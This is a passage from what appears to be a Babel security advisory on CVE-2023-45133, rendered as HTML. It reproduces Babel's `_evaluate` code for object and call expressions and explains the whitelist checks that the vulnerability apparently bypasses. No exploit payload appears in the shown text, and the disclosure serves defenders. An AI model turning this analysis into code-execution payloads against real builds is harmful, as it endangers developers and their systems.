class="token function" style="color:#4271ae">_evaluate</span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token operator">:</span><span class="token plain"> State</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">any</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isObjectExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> obj </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> props </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"properties"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">for</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> prop </span><span class="token keyword" style="color:#8959a8">of</span><span class="token plain"> props</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isObjectMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"> prop</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isSpreadElement</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> keyPath </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> NodePath</span><span class="token operator">&lt;</span><span class="token plain">t</span><span class="token punctuation">.</span><span class="token plain">ObjectProperty</span><span class="token operator">&gt;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"key"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> key</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">computed</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> keyPath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">key</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">key</span><span class="token punctuation">.</span><span class="token plain">deopt</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> key</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">keyPath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> keyPath</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          keyPath</span><span class="token punctuation">.</span><span class="token plain">node </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">StringLiteral </span><span class="token operator">|</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">NumericLiteral </span><span class="token operator">|</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">BigIntLiteral</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> valuePath </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> NodePath</span><span class="token operator">&lt;</span><span class="token plain">t</span><span class="token punctuation">.</span><span class="token plain">ObjectProperty</span><span class="token operator">&gt;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"value"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> valuePath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">value</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">value</span><span class="token punctuation">.</span><span class="token plain">deopt</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      value </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// @ts-expect-error key is any type</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token class-name" style="color:#eab700">obj</span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isCallExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> callee </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"callee"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> context</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> func</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// Number(1);</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token operator">!</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token plain">scope</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">getBinding</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">isValidIdentifierCallee</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      func </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isMemberExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> object </span><span class="token operator">=</span><span class="token plain"> callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"object"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> property </span><span class="token operator">=</span><span class="token plain"> callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"property"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// Math.min(1, 2)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        context </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token comment" style="color:#8e908c">// @ts-expect-error property may not exist in context object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// "abc".charCodeAt(4)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isLiteral</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> type </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">type </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"string"</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"> type </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"number"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): consider checking ast node type instead of value type</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          context </span><span class="token operator">=</span><span class="token plain"> object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">func</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> args </span><span class="token operator">=</span><span class="token plain"> path</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"arguments"</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">func</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">apply</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></div></div></details>
<h4 class="anchor anchorWithStickyNavbar_JmGV" id="handling-of-call-expressions">Handling of Call Expressions<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#handling-of-call-expressions" class="hash-link" aria-label="Direct link to Handling of Call Expressions" title="Direct link to Handling of Call Expressions">​</a></h4>
<p>The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code> arrays.</p>
<p>Additionally, there are three cases for handling call expressions:</p>
<ol>
<li>When the callee is an identifier, and the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code>.</li>
<li>When the callee is a member expression, the object is an identifier, the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code>, and the property is not blacklisted in <code>INVALID_METHODS</code>.</li>
<li>When the callee is a member expression, the object is a literal, and the property is a string/numeric literal.</li>
</ol>
<p>The most interesting one is the second case:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  context </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// @ts-expect-error property may not exist in context object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" 